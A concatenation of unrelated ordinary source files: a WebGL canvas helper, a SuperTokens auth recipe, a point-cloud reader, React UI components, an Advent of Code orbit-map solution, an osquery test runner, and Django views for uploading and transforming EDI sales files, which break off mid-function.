// TODO: review canVG for future use teacss.Canvas = teacss.functions.Canvas = teacss.Canvas || function() { function wrap(name,func) { return function() { if (this.run || !Canvas.wrap) { func.apply(this,arguments); } else { this.queque.push({ name: name, args: arguments, done : false, func : func }) } return this; } } var counter = 0; var Canvas = function () { this.init.apply(this,arguments); } Canvas.prototype.init = function (w,h,context) { this.state = {canvas:false,texture:false,image:false} this.counter = counter; this.run = false; this.queque = []; var me = this; for (var e in Canvas.effects) this[e] = wrap(name,Canvas.effects[e]) if (typeof(w)=='string') element = h; if (!context) { if (!Canvas.defaultContext) { Canvas.defaultElement = document.createElement('canvas'); Canvas.defaultContext = Canvas.defaultElement.getContext('experimental-webgl'); } context = Canvas.defaultContext; } this.gl = context; if (typeof(w)=='string') { this.fromImage(w) } else this.fromDimensions(w,h) } Canvas.prototype.toJSON = function() { var data = []; for (var i=0;i<this.queque.length;i++) { var item = this.queque[i]; var args = []; for (var a=0;a<item.args.length;a++) { var arg = item.args[a]; args.push((arg && arg.toJSON) ? arg.toJSON() : arg); } data.push({name:item.name,args:args}); } return $.toJSON(data); } Canvas.wrap = false; Canvas.cache = {}; Canvas.prototype.realize = function() { if (this.run || !Canvas.wrap) return; var json = this.toJSON(); var cached = Canvas.cache[json]; if (cached) { for (var i=0;i<this.queque.length;i++) this.queque[i].done = true; this.texture = cached.texture; this.spareTexture = cached.spareTexture; this.canvas2d = cached.canvas2d; this.context = cached.context; this.width = cached.width; this.height = cached.height; this.image = cached.image; this.state = cached.state; this.dataURL = cached.dataURL; } else { this.run = true; for (var i=0;i<this.queque.length;i++) { var item = this.queque[i]; if (!item.done) { for (var a=0;a<item.args.length;a++) { var arg = item.args[a]; if (arg instanceof Canvas) arg.realize(); } item.func.apply(this,item.args); item.done = true; } } this.run = false; if (!teacss.functions.image.getDeferred()) Canvas.cache[json] = this; } } Canvas.prototype.setState = function(state) { for (var i in this.state) this.state[i]=false; this.state[state] = true; } Canvas.prototype.getCanvas2d_wrap = wrap('getCanvas2d',function(){ if (this.state.canvas) return; if (!this.canvas2d) { this.canvas2d = document.createElement('canvas'); this.canvas2d.width = this.width; this.canvas2d.height = this.height; } this.context = this.canvas2d.getContext('2d'); if (this.state.image) { this.context.drawImage(this.image,0,0); } else if (this.state.texture) { var w = this.width; var h = this.height; var array = new Uint8Array(w * h * 4); var gl = this.gl; this.texture.drawTo(function() { gl.readPixels(0, 0, w, h, gl.RGBA, gl.UNSIGNED_BYTE, array); }); var data = this.context.createImageData(w,h); for (var i = 0; i < array.length; i++) { data.data[i] = array[i]; } this.context.putImageData(data, 0, 0); } this.state.canvas = true; }) Canvas.prototype.getCanvas2d = function() { this.getCanvas2d_wrap(); this.realize(); return this.canvas2d; } Canvas.prototype.getTexture_wrap = wrap('getTexture',function(){ if (this.state.texture) return; if (this.state.image) { this.texture = Texture.fromImage(this.gl,this.image); } else this.texture = Texture.fromImage(this.gl,this.getCanvas2d()); this.state.texture = true; }) Canvas.prototype.getTexture = function () { this.getTexture_wrap(); this.realize(); return this.texture; } Canvas.prototype.toDataURL_wrap = wrap('toDataURL',function(){ this.dataURL = this.getCanvas2d().toDataURL(); }) Canvas.prototype.toDataURL = function() { this.toDataURL_wrap(); this.realize(); return this.dataURL; } Canvas.prototype.destroy = function () { this.dataURL = null; if (this.texture) { this.texture.destroy(); this.texture = null; } if (this.spareTexture) { this.spareTexture.destroy(); this.spareTexture = null; } if (this.image) { this.image = null; } if (this.canvas2d) { this.canvas2d.width = 0; this.canvas2d.height = 0; this.canvas2d = null; } } return Canvas; }();
export default function (engine) { engine.closures.add("calculateShipSpeed", (fact, context) => { const data = fact.data; const thrusters = CONFIG.SFRPG.thrustersMap[data.details.systems.thrusters] || { speed: 8, mode: 0 }; data.attributes.speed = thrusters.speed; return fact; }); }
"use strict"; /* Copyright (c) 2022, VRAI Labs and/or its affiliates. All rights reserved. * * This software is licensed under the Apache License, Version 2.0 (the * "License") as published by the Apache Software Foundation. * * You may not use this file except in compliance with the License. You may * obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ var __extends = (this && this.__extends) || (function () { var extendStatics = function (d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; return function (d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : ((__.prototype = b.prototype), new __()); }; })(); var __assign = (this && this.__assign) || function () { __assign = Object.assign || function (t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; }; return __assign.apply(this, arguments); }; Object.defineProperty(exports, "__esModule", { value: true }); exports.Recipe = void 0; var authRecipeWithEmailVerification_1 = require("../authRecipeWithEmailVerification"); var utils_1 = require("./utils"); var recipeImplementation_1 = require("./recipeImplementation"); var supertokens_js_override_1 = require("supertokens-js-override"); var utils_2 = require("../../utils"); var Recipe = /** @class */ (function (_super) { __extends(Recipe, _super); function Recipe(config, recipes) { var _this = _super.call(this, (0, utils_1.normaliseUserInput)(config), recipes) || this; var builder = new supertokens_js_override_1.default( (0, recipeImplementation_1.default)({ recipeId: _this.config.recipeId, appInfo: _this.config.appInfo, preAPIHook: _this.config.preAPIHook, postAPIHook: _this.config.postAPIHook, }) ); _this.recipeImplementation = builder.override(_this.config.override.functions).build(); return _this; } Recipe.init = function (config) { return function (appInfo) { Recipe.instance = new Recipe( __assign(__assign({}, config), { recipeId: Recipe.RECIPE_ID, appInfo: appInfo }), { emailVerification: undefined, } ); return Recipe.instance; }; }; Recipe.getInstanceOrThrow = function () { if (Recipe.instance === undefined) { var error = "No instance of EmailPassword found. Make sure to call the EmailPassword.init method."; error = (0, utils_2.checkForSSRErrorAndAppendIfNeeded)(error); throw Error(error); } return Recipe.instance; }; Recipe.reset = function () { if (!(0, utils_2.isTest)()) { return; } Recipe.instance = undefined; return; }; Recipe.RECIPE_ID = "emailpassword"; return Recipe; })(authRecipeWithEmailVerification_1.default); exports.Recipe = Recipe; exports.default = Recipe;
import ocnn import numpy as np from plyfile import PlyData class ReadPly: def __init__(self, has_normal: bool = True, has_color: bool = False, has_label: bool = False): self.has_normal = has_normal self.has_color = has_color self.has_label = has_label def __call__(self, filename: str): plydata = PlyData.read(filename) vtx = plydata['vertex'] output = dict() points = np.stack([vtx['x'], vtx['y'], vtx['z']], axis=1) output['points'] = points.astype(np.float32) if self.has_normal: normal = np.stack([vtx['nx'], vtx['ny'], vtx['nz']], axis=1) output['normals'] = normal.astype(np.float32) if self.has_color: color = np.stack([vtx['red'], vtx['green'], vtx['blue']], axis=1) output['colors'] = color.astype(np.float32) if self.has_label: label = vtx['label'] output['labels'] = label.astype(np.int32) return output class Transform(ocnn.dataset.Transform): r''' Wraps :class:`ocnn.data.Transform` for convenience. ''' def __init__(self, flags): super().__init__(**flags) self.flags = flags
import requests import json from urlparse import urlparse import sys if __name__ == "__main__": if len(sys.argv)>1: print urlparse(sys.argv[1]) r = requests.get(sys.argv[1]) print r.status_code, print json.dumps(r.headers, indent=2)
import { HelloWorld_RajivLab1 } from './src/HelloWorld_RajivLab1.js'; window.customElements.define('hello-world_RajivLab1', HelloWorld_RajivLab1);
export default { 'title.test': '标题测试', };
# Databricks notebook source print("test2")
import * as React from "react"; import {Provider, connect} from "react-redux"; import {ComponentJSON, TitleText} from "./ComponentJSON.js"; import NodeWeekView from "./NodeWeekView.js"; import {getWeekByID, getNodeWeekByID} from "./FindState.js"; import * as Constants from "./Constants.js"; import {columnChangeNodeWeek, moveNodeWeek, newStrategyAction} from "./Reducers.js"; import {addStrategy} from "./PostFunctions"; import {Loader} from "./Constants.js"; //Basic component to represent a Week export class WeekViewUnconnected extends ComponentJSON{ constructor(props){ super(props); this.objectType="week"; this.objectClass=".week"; this.node_block = React.createRef(); } render(){ let data = this.props.data; let renderer = this.props.renderer; let selection_manager = renderer.selection_manager; var nodes = data.nodeweek_set.map((nodeweek)=> <NodeWeekView key={nodeweek} objectID={nodeweek} parentID={data.id} renderer={renderer} column_order={this.props.column_order}/> ); if(nodes.length==0)nodes.push( <div class="node-week" style={{height:"100%"}}>Drag and drop nodes from the sidebar to add.</div> ); let css_class = "week"; if(this.state.selected)css_class+=" selected"; if(data.is_strategy)css_class+=" strategy"; let default_text; if(!renderer.is_strategy)default_text = data.week_type_display+" "+(this.props.rank+1); return ( <div class={css_class} ref={this.maindiv} onClick={(evt)=>selection_manager.changeSelection(evt,this)}> {!read_only && !renderer.is_strategy && <div class="mouseover-container-bypass"> <div class="mouseover-actions"> {this.addInsertSibling(data)} {this.addDuplicateSelf(data)} {this.addDeleteSelf(data)} {this.addCommenting(data)} </div> </div> } <TitleText text={data.title} defaultText={default_text}/> <div class="node-block" id={this.props.objectID+"-node-block"} ref={this.node_block}> {nodes} </div> {this.addEditable(data)} {data.strategy_classification > 0 && <div class="strategy-tab"> <div class="strategy-tab-triangle"></div> <div class="strategy-tab-square"> <div class="strategy-tab-circle"> <img title={ renderer.strategy_classification_choices.find( (obj)=>obj.type==data.strategy_classification ).name } src= {iconpath+Constants.strategy_keys[data.strategy_classification]+".svg"}/> </div> </div> </div> } </div> ); } postMountFunction(){ this.makeDragAndDrop(); } componentDidUpdate(){ this.makeDragAndDrop(); Constants.triggerHandlerEach($(this.maindiv.current).find(".node"),"component-updated"); } makeDragAndDrop(){ //Makes the nodeweeks in the node block draggable this.makeSortableNode($(this.node_block.current).children(".node-week").not(".ui-draggable"), this.props.objectID, "nodeweek", ".node-week", false, [200,1], ".node-block", ".node"); this.makeDroppable() } stopSortFunction(id,new_position,type,new_parent){ //this.props.dispatch(moveNodeWeek(id,new_position,new_parent,this.props.nodes_by_column)) } sortableColumnChangedFunction(id,delta_x){ for(let i=0;i<this.props.nodeweeks.length;i++){ if(this.props.nodeweeks[i].id==id){ this.props.dispatch(columnChangeNodeWeek(this.props.nodeweeks[i].node,delta_x,this.props.column_order)); } } } sortableMovedFunction(id,new_position,type,new_parent,child_id){ this.props.dispatch(moveNodeWeek(id,new_position,new_parent,this.props.nodes_by_column,child_id)) } makeDroppable(){ var props = this.props; $(this.maindiv.current).droppable({ tolerance:"pointer", droppable:".strategy-ghost", over:(e,ui)=>{ var drop_item = $(e.target); var drag_item = ui.draggable; var drag_helper = ui.helper; var new_index = drop_item.prevAll().length; var new_parent_id = parseInt(drop_item.parent().attr("id")); if(drag_item.hasClass("new-strategy")){ drag_helper.addClass("valid-drop"); drop_item.addClass("new-strategy-drop-over"); }else{ return; } }, out:(e,ui)=>{ var drag_item = ui.draggable; var drag_helper = ui.helper; var drop_item = $(e.target); if(drag_item.hasClass("new-strategy")){ drag_helper.removeClass("valid-drop"); drop_item.removeClass("new-strategy-drop-over"); } }, drop:(e,ui)=>{ $(".new-strategy-drop-over").removeClass("new-strategy-drop-over"); var drop_item = $(e.target); var drag_item = ui.draggable; var new_index = drop_item.parent().prevAll().length+1; if(drag_item.hasClass("new-strategy")){ let loader = new Loader('body'); addStrategy(this.props.parentID,new_index,drag_item[0].dataDraggable.strategy, (response_data)=>{ let action = newStrategyAction(response_data); props.dispatch(action); loader.endLoad(); } ); } } }); } } const mapWeekStateToProps = (state,own_props)=>( getWeekByID(state,own_props.objectID) ) const mapWeekDispatchToProps = {}; export default connect( mapWeekStateToProps, null )(WeekViewUnconnected)
"""Day 6: Universal Orbit Map""" import math from collections import defaultdict, deque from copy import deepcopy from typing import DefaultDict, Iterator, List, NamedTuple, Tuple import aoc DAY = 6 OrbitGraph = DefaultDict[str, List[str]] def parse_input(input_text: str) -> OrbitGraph: orbits: OrbitGraph = defaultdict(list) pairs = [line.split(")") for line in input_text.splitlines()] for orbited, orbited_by in pairs: orbits[orbited].append(orbited_by) return orbits def orbit_depths(orbit_graph: OrbitGraph) -> Iterator[int]: """Yields node depths in a breadth-first traversal of the orbit graph.""" queue = deque([(0, "COM")]) while queue: depth, body = queue.popleft() yield depth queue.extend( [(depth + 1, orbiting_body) for orbiting_body in orbit_graph[body]] ) def find_shortest_path( directed_orbit_graph: OrbitGraph, source: str = "YOU", dest: str = "SAN" ) -> Tuple[int, List[str]]: orbits = directed_to_undirected_graph(directed_orbit_graph) class BFSEntry(NamedTuple): depth: int current_node: str path_from_source: List[str] start = orbits[source][0] # Body orbited by source queue = deque([BFSEntry(0, start, [])]) min_distance = math.inf shortest_path: List[str] = [] while queue: depth, current_node, path = queue.popleft() if depth >= min_distance: # Cut off search branch if distance is already too long. continue # Filter already-visited nodes from next steps to avoid cycles. unvisited_neighbours = [n for n in orbits[current_node] if n not in path] current_path = path + [current_node] if dest in unvisited_neighbours: # The earlier check ensures the current distance is known to be # shorter than the previous-shortest, so we can just assign the # current distance and path without testing again. min_distance = depth shortest_path = current_path else: queue.extend( [ BFSEntry(depth + 1, neighbour, current_path) for neighbour in unvisited_neighbours ] ) if min_distance is math.inf: raise ValueError(f"Node {dest} not present in orbit graph.") # Turn off mypy checking for the return value because the use of math.inf # (which is a float) earlier causes it to complain about the return type # really being a Union[float, int], where for any valid input graph the # dest node will be found and min_distance will be an int. return min_distance, shortest_path # type: ignore def directed_to_undirected_graph(directed: OrbitGraph) -> OrbitGraph: """Create undirected graph from the given directed graph.""" # Make an undirected graph so that we can traverse orbits in # either direction. The original orbit graph is strictly # orbited_body -> orbiting body, ie a directed acyclic graph. undirected = deepcopy(directed) for orbited_body, orbiting_bodies in directed.items(): for orbiting in orbiting_bodies: undirected[orbiting].append(orbited_body) return undirected def main(orbit_graph: OrbitGraph) -> Tuple[int, int]: part_one_solution = sum(orbit_depths(orbit_graph)) part_two_solution, shortest_path = find_shortest_path(orbit_graph) return (part_one_solution, part_two_solution) def test_orbit_depths() -> None: orbits = """\ COM)B B)C C)D D)E E)F B)G G)H D)I E)J J)K K)L""" orbit_graph = parse_input(orbits) assert sum(orbit_depths(orbit_graph)) == 42 def test_find_shortest_path() -> None: orbits = """\ COM)B B)C C)D D)E E)F B)G G)H D)I E)J J)K K)L K)YOU I)SAN""" orbit_graph = parse_input(orbits) distance, path = find_shortest_path(orbit_graph) assert distance == 4 assert path == ["K", "J", "E", "D", "I"] if __name__ == "__main__": parsed = parse_input(aoc.load_puzzle_input(2019, DAY)) part_one_solution, part_two_solution = main(parsed) print( aoc.format_solution( title=__doc__, part_one=part_one_solution, part_two=part_two_solution, ) )
#!/usr/bin/env python # Copyright (c) 2014-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import json import os import shutil import time import unittest import sys # osquery-specific testing utils import test_base import utils class ExampleQueryTests(test_base.QueryTester): @test_base.flaky def test_cross_platform_queries(self): self._execute_set(PLATFORM_EXAMPLES["specs"]) @test_base.flaky def test_platform_specific_queries(self): self._execute_set(PLATFORM_EXAMPLES[utils.platform()]) @test_base.flaky def test_utility_queries(self): self._execute_set(PLATFORM_EXAMPLES["utility"]) if __name__ == '__main__': # Import the API generation code for example query introspection. SCRIPT_DIR = os.path.dirname(os.path.realpath(__file__)) SOURCE_DIR = os.path.abspath(SCRIPT_DIR + "/../../") sys.path.append(SOURCE_DIR + "/tools/codegen") from genapi import gen_api API = gen_api(SOURCE_DIR + "/specs") # Organize example queries by platform PLATFORM_EXAMPLES = {} for category in API: PLATFORM_EXAMPLES[category["key"]] = [] for table in category["tables"]: PLATFORM_EXAMPLES[category["key"]] += table["examples"] module = test_base.Tester() # Find and import the thrift-generated python interface test_base.loadThriftFromBuild(test_base.ARGS.build) module.run()
import React from "react"; import unilagLogo from "../../assets/images/lag-logo-lg.png"; import facebook from "../../assets/images/facebook.png"; import linkedin from "../../assets/images/linkedin.png"; import twitter from "../../assets/images/twitter.png"; import "./Layout.css"; export default function Layout({ children }) { return ( <section className="container"> <div className="content"> <div className="logo"> <img src={unilagLogo} alt="Unilag Logo" className="imgLogo" /> </div> <div className="content-block"> <h2>UNILAG Let's Talk</h2> <p> The web communication platform for students and staff of the University of Lagos. </p> <div className="socials"> {/* <a href="/"> */} <img src={facebook} alt="Facebook Logo" className="socials-logo-fb" /> {/* </a> */} <img src={linkedin} alt="Linkedin Logo" className="socials-logo-ln" /> <img src={twitter} alt="Twitter Logo" className="socials-logo-tw" /> </div> </div> </div> <div>{children}</div> </section> ); }
import { __makeTemplateObject } from "tslib"; import InviteTeamIcon from '@atlaskit/icon/glyph/invite-team'; import { colors } from '@atlaskit/theme'; import * as React from 'react'; import styled from 'styled-components'; var AddOptionAvatarWrapper = styled.span(templateObject_1 || (templateObject_1 = __makeTemplateObject(["\n color: black;\n padding: 2px;\n\n > span[class^='Icon__IconWrapper'] {\n background-color: ", ";\n border-radius: 50%;\n }\n"], ["\n color: black;\n padding: 2px;\n\n > span[class^='Icon__IconWrapper'] {\n background-color: ", ";\n border-radius: 50%;\n }\n"])), colors.N50); export var AddOptionAvatar = function (_a) { var size = _a.size, label = _a.label; return (React.createElement(AddOptionAvatarWrapper, null, React.createElement(InviteTeamIcon, { label: label, size: size, primaryColor: "white" }))); }; AddOptionAvatar.defaultProps = { size: 'large', }; var templateObject_1; //# sourceMappingURL=AddOptionAvatar.js.map
import os.path import json from datetime import datetime # to validate period string from django.shortcuts import HttpResponse from django.shortcuts import render from django.shortcuts import redirect from django.shortcuts import resolve_url from django.views.generic import ListView from django.views.generic import TemplateView from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.auth.mixins import AccessMixin from django.conf import settings from svcommon.sv_sql_raw import SvSqlAccess from svacct.models import Account from svacct.ownership import get_owned_brand_list from .forms import UploadFileForm from .models import UploadFile from .models import EdiFile from .models import ProgressStatus from .models import HyperMartType from .models import EdiDataType # for logger import logging logger = logging.getLogger(__name__) # Create your views here. # http://ccbv.co.uk/ # https://www.youtube.com/watch?v=Zx09vcYq1oc&feature=youtu.be # https://www.youtube.com/watch?v=KQJRwWpP8hs # https://www.youtube.com/watch?v=HSn-e2snNc8 # django template grammar # https://jjinisystem.tistory.com/38 class OwnerOnlyMixin(AccessMixin): raise_exception = True permission_denied_message = 'Owner only can modify the object' def get(self, request, *args, **kwargs): # logger.debug('OwnerOnlyMixin get') print('OwnerOnlyMixin get') obj = self.get_object() # print(obj.owner) # print(request.user) if not request.user == obj.owner: return self.handle_no_permission() return super().get(request, *args, **kwargs) class UploadedFileListView(LoginRequiredMixin, ListView): model = UploadFile form_class = UploadFileForm # template_name = 'class_bundle_list.html' context_object_name = 'UploadFiles' paginate_by = 10 def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) dict_rst = get_acct_info(self.request, self.kwargs) context['form'] = UploadFileForm() context['s_brand_name'] = dict_rst['dict_ret']['s_brand_name'] # for global navigation context['n_brand_id'] = self.kwargs['sv_brand_id'] context['lst_owned_acct'] = dict_rst['dict_ret']['lst_owned_acct'] # for global navigation return context # https://stackoverflow.com/questions/37299091/django-how-to-get-user-logged-in-get-queryset-in-listview # https://beomi.github.io/2017/08/25/DjangoCBV-queryset-vs-get_queryset/ def get_queryset(self): dict_rst = get_acct_info(self.request, self.kwargs) # return UploadFile.objects.filter(owner=self.request.user).order_by('-id') return UploadFile.objects.filter(account=dict_rst['dict_ret']['n_acct_id']).order_by('-id') def post(self, request, *args, **kwargs): form = UploadFileForm(request.POST, request.FILES) if form.is_valid(): dict_acct_rst = get_acct_info(request, kwargs) qd_sv_acct = Account.objects.get(pk=dict_acct_rst['dict_ret']['n_acct_id']) # print(form.cleaned_data['uploaded_file'].name) form.instance.owner = self.request.user form.instance.account = qd_sv_acct # pre-process o_initial_form = form.save(commit=False) o_initial_form.save() # commit form o_new_uploaded_file = form.save() from .tools import ProcUploadingFile o_tool_uploading_file = ProcUploadingFile() dict_rst = o_tool_uploading_file.lookup_attachment(request, o_initial_form, o_new_uploaded_file) del o_tool_uploading_file if not dict_rst['b_rst']: dict_context = {'err_msg': dict_rst['s_msg']} return render(request, "svtransform/upload_deny.html", context=dict_context) dict_param = dict_rst['dict_param'] # begin - uploading file registration n_edi_yr_from_upload_filename = dict_param['n_edi_yr_from_upload_filename'] # https://wayhome25.github.io/django/2017/04/01/django-ep9-crud/ for s_unzipped_file in dict_param['lst_unzipped_files']: o_edi_file = EdiFile(hyper_mart=HyperMartType.ESTIMATION, edi_data_year=n_edi_yr_from_upload_filename, owner=self.request.user, account=qd_sv_acct, edi_file_name=s_unzipped_file, uploaded_file=o_new_uploaded_file) o_edi_file.save() # end - uploading file registration from .tasks import lookup_edi_file dict_param['s_tbl_prefix'] = dict_acct_rst['dict_ret']['s_tbl_prefix'] #self.request.user.analytical_namespace if len(dict_param['lst_unzipped_files']) > 2: lookup_edi_file.apply_async([dict_param], queue='celery', priority=10) # , countdown=10) else: lookup_edi_file(dict_param) return redirect('svtransform:index', sv_brand_id=dict_acct_rst['dict_ret']['n_brand_id']) else: return render(request, 'svtransform/upload_bundle.html', {'form': form}) def form_valid(self, form): # This method does not work if post() or get() defined # This method needs private var -> success_url = reverse_lazy('class_book_list') # This method is called when valid form data has been POSTed. # It should return an HttpResponse. return super().form_valid(form) class UnzippedFileListView(LoginRequiredMixin, ListView): # model = EdiFile # template_name = 'svtransform/edifile_list.html' context_object_name = 'UnzippedFiles' # paginate_by = 10 # https://stackoverflow.com/questions/50275355/django-listview-with-a-form # https://stackoverflow.com/questions/37299091/django-how-to-get-user-logged-in-get-queryset-in-listview # https://beomi.github.io/2017/08/25/DjangoCBV-queryset-vs-get_queryset/ def get_queryset(self): # print(self.kwargs['pk']) return EdiFile.objects.filter(uploaded_file=self.kwargs['pk']).filter(owner=self.request.user). \ exclude(status=ProgressStatus.DENIED) # https://stackoverflow.com/questions/50275355/django-listview-with-a-form # make tableview form # build up context object for template # https://wayhome25.github.io/django/2017/06/25/django-ajax-like-button/ <-- ajax button def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) dict_rst = get_acct_info(self.request, self.kwargs) context['s_brand_name'] = dict_rst['dict_ret']['s_brand_name'] # for global navigation context['n_brand_id'] = self.kwargs['sv_brand_id'] context['lst_owned_acct'] = dict_rst['dict_ret']['lst_owned_acct'] # for global navigation # print(EdiFile.HyperMartType.names) # .labels .values context['pk_upload_file'] = self.kwargs['pk'] context['hyper_mart_type'] = HyperMartType context['edi_data_type'] = EdiDataType context['edi_data_year'] = range(2010, 2025) # define data year for Emart EDI return context class UnzippedFileListAuth(LoginRequiredMixin, TemplateView): # context_object_name = 'UnzippedFiles' template_name = None def post(self, request): # template에서 ajax.POST로 전달 n_pk_upload_file = request.POST.get('pk_upload_file', None) s_req_mode = request.POST.get('req_mode', None) # context를 json 타입으로 context = {'b_success': 0, # false 'message': '통신 실패', 'href': ''} # print(request.user.company_name) if not request.user.is_authenticated: context['message'] = 'you re not logged in.' return HttpResponse(json.dumps(context), content_type="application/json") o_uploaded_file = UploadFile.objects.get(pk=n_pk_upload_file) # Model.get() returns single record if not o_uploaded_file.owner == request.user: if not request.user.is_admin: context['message'] = 'you don\'t own the file you request.' return HttpResponse(json.dumps(context), content_type="application/json") # basically, check an upload file level progress status if o_uploaded_file.status != ProgressStatus.UPLOADED and o_uploaded_file.status != ProgressStatus.DENIED: if not request.user.is_admin: context['message'] = 'uploaded_file is out of status' return HttpResponse(json.dumps(context), content_type="application/json") else: if o_uploaded_file.status == ProgressStatus.TRANSFORMED: context['message'] = 'edi_file has been transformed' return HttpResponse(json.dumps(context), content_type="application/json") # secondly, check an each edi file progress status qs_edi_file = EdiFile.objects.filter(uploaded_file=n_pk_upload_file).filter(owner=self.request.user) # Model.filter() returns queryset; n_owner_id = qs_uploaded_file.values('owner')[0]['owner'] for o_edi_file in qs_edi_file: if o_edi_file.status != ProgressStatus.UPLOADED: if not request.user.is_admin: context['message'] = 'edi_file is out of status' return HttpResponse(json.dumps(context), content_type="application/json") # finally, check an each edi file data type and req_mode if s_req_mode == 'update': for o_edi_file in qs_edi_file: if o_edi_file.edi_data_type == EdiDataType.ESTIMATION: if not request.user.is_admin: context['message'] = 'edi_file is on estimation' return HttpResponse(json.dumps(context), content_type="application/json") self.__update_edi_file(request) elif s_req_mode == 'delete': for o_edi_file in qs_edi_file: if o_edi_file.edi_data_type == EdiDataType.ESTIMATION: if not request.user.is_admin: context['message'] = 'edi_file is on estimation' return HttpResponse(json.dumps(context), content_type="application/json") # print('do ' + s_req_mode) o_uploaded_file.delete() elif s_req_mode == 'transform': # 모든 edi 파일이 QTY 혹은 AMNT로 결정되어야 진행 시작 n_sv_brand_id = request.POST.get('sv_brand_id', None) dict_kwargs = {'sv_brand_id': int(n_sv_brand_id)} dict_acct_rst = get_acct_info(request, dict_kwargs) del dict_kwargs for o_edi_file in qs_edi_file: if o_edi_file.edi_data_type != EdiDataType.QTY_AMNT and \ o_edi_file.edi_data_type != EdiDataType.QTY and \ o_edi_file.edi_data_type != EdiDataType.AMNT and \ o_edi_file.edi_data_type != EdiDataType.IGNORE: context['message'] = 'undecided edi_file exists' return HttpResponse(json.dumps(context), content_type="application/json") if o_edi_file.edi_data_year == 0: context['message'] = 'edi_file data year is not confirmed' return HttpResponse(json.dumps(context), content_type="application/json") self.__transform_edi_file(request, dict_acct_rst, o_uploaded_file) context['message'] = 'transforming launched!' context['href'] = resolve_url('svtransform:on_transforming', sv_brand_id=n_sv_brand_id, pk=n_pk_upload_file) del o_uploaded_file del qs_edi_file context['b_success'] = 1 # true return HttpResponse(json.dumps(context), content_type="application/json") def __update_edi_file(self, request): # edi 파일 수정 lst_edifile_id = request.POST.getlist('arr_edifile_id[]') # need [] if array transmitted via ajax lst_hypermart_title = request.POST.getlist('arr_hypermart_title[]') lst_edi_data_year = request.POST.getlist('arr_edi_data_year[]') lst_edi_data_type = request.POST.getlist('arr_edi_data_type[]') for n_edifile_id in lst_edifile_id: o_edi_file = EdiFile.objects.get(id=n_edifile_id) o_edi_file.hyper_mart = lst_hypermart_title.pop(0) o_edi_file.edi_data_year = lst_edi_data_year.pop(0) o_edi_file.edi_data_type = lst_edi_data_type.pop(0) o_edi_file.save() return def __transform_edi_file(self, request, dict_acct_rst, o_uploaded_file): # launch pre-process # https://stackoverrun.com/ko/q/1880252 <- long running task # https://stackoverflow.com/questions/25570910/executing-two-tasks-at-the-same-time-with-celery # celery -A svcommon worker -l INFO <- activate celery server s_tbl_prefix = dict_acct_rst['dict_ret']['s_tbl_prefix'] if not s_tbl_prefix: dict_context = {'err_msg': 'your analytical context is not defined. plz contact system admin'} return render(request, "svtransform/transform_deny.html", context=dict_context) # transfer status to ProgressStatus.ON_TRANSFORMING o_uploaded_file.status = ProgressStatus.ON_TRANSFORMING o_uploaded_file.save() # for sv_sql_raw tester # from svcommon.sv_sql_raw import SvSqlAccess # oDb = SvSqlAccess() # oDb.set_tbl_prefix(s_analytical_namespace) # oDb.set_app_name(__name__) # oDb.initialize() # lst_rst = oDb.executeQuery('getEmartExistingLog', 1, 1, 20190103) # print(lst_rst) dict_param = { 's_tbl_prefix': s_tbl_prefix, 'n_owner_id': o_uploaded_file.owner.id, 'n_req_upload_file_id': request.POST['pk_upload_file'] } # https://stackoverflow.com/questions/47979831/how-to-use-priority-in-celery-task-apply-async from .tasks import transform_edi transform_edi.apply_async([dict_param], queue='celery', priority=0) # for TransferEdiExcelToDb tester # from .tasks import TransferEdiExcelToDb # o_edi_excel_handler = TransferEdiExcelToDb() # o_edi_excel_handler.initialize(dict_param) # o_edi_excel_handler.transfer_excel_to_csv() # o_edi_excel_handler.transform_csv_to_db() print('transform_edi_file done') # return HttpResponseRedirect('/redirect/') class TransformRawData(OwnerOnlyMixin, TemplateView): # model = UploadFile # https://www.agiliq.com/blog/2017/12/when-and-how-use-django-templateview/ # template_name = 'svtransform/transform_confirm.html' # for get method template def get(self, request, *args, **kwargs): # show a pre-process confirm screen dict_rst = get_acct_info(request, kwargs) context = {'s_brand_name': dict_rst['dict_ret']['s_brand_name'], 'n_brand_id': dict_rst['dict_ret']['n_brand_id'], 'lst_owned_acct': dict_rst['dict_ret']['lst_owned_acct'], 'duration': '33min 28sec', } o_uploaded_file = UploadFile.objects.get(pk=self.kwargs['pk']) # return render(request, "svtransform/transform_on_progress.html", context=context) if o_uploaded_file.status == ProgressStatus.ON_TRANSFORMING: return render(request, "svtransform/transform_on_progress.html", context=context) else: return render(request, "svtransform/transform_deny.html", context=context) class ExtractView(LoginRequiredMixin, TemplateView): # https://www.agiliq.com/blog/2017/12/when-and-how-use-django-templateview/ template_name = 'svtransform/extract_select.html' # for get method template # model = UploadFile def get(self, request, *args, **kwargs): if request.user.is_authenticated: context = super().get_context_data(*args, **kwargs) # begin - read edi date info cached json # TODO: move to /storage s_edi_date_json_fullpath = os.path.join(settings.MEDIA_ROOT, settings.EDI_STORAGE_ROOT, str(self.request.user.pk), 'edi_date_info.json') try: with open(s_edi_date_json_fullpath, "r") as st_json: dict_edi_date_info = json.load(st_json) except FileNotFoundError: dict_edi_date_info = {'s_start_date': None, 's_end_date': None, 'lst_missing_date': None} context['s_start_date'] = dict_edi_date_info['s_start_date'] context['s_end_date'] = dict_edi_date_info['s_end_date'] context['lst_missing_date'] = dict_edi_date_info['lst_missing_date'] # end - read edi date info cached json o_sv_db = SvSqlAccess() if not o_sv_db: raise 